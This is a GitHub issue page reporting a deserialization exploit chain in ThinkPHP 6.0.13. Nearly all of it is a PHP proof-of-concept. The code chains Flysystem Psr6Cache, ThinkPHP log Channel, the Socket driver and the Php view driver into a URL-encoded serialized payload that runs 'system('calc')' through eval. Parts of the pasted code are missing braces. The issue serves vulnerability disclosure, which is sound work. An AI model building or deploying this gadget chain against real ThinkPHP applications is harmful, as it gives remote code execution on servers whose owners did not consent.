New issue Jump to bottom

There is a new exploit chain for the deserialization vulnerability of thinkphp 6.0.13 #2749

Open

hzy030628 opened this issue on Aug 14 · 0 comments

```
hzy030628 commented on Aug 14
Any method of any class, where eval is called to execute php code, thereby executing php and writing to a
file.
  <?php
  namespace League\Flysystem\Cached\Storage{
      class Psr6Cache{
          private $pool;
          protected $autosave = false;
          public function __construct($exp)
              $this->pool = $exp;
      }
  namespace think\log{
      class Channel{
          protected $logger;
          protected $lazy = true;
          public function __construct($exp)
              $this->logger = $exp;
              $this->lazy = false;
      }
  namespace think{
      class Request{
          protected $url;
          public function __construct()
```

```
$this->url = '<?php system(\'calc\'); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
            $this->instances = ['think\Request'=>new Request()];
    }
namespace think\view\driver{
    class Php{}
}
namespace think\log\driver{
    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];
        public function __construct()
        {
            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php, 'display'], # 利用类和方法
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
    }
}
namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(serialize($a));
}
```

hzy030628 changed the title There is a new exploit chain for the deserialization vulnerability of thinkphp 6.0.12 There is a new exploit chain for the deserialization vulnerability of thinkphp 6.0.13 on Aug 15

ThinkPHP v6.0.13反序列化漏洞 #2762

Assignees	
No one assigned	
Labels	
None yet	
Projects	
None yet	
Milestone	
No milestone	
Development	
No branches or pull requests	
1 participant	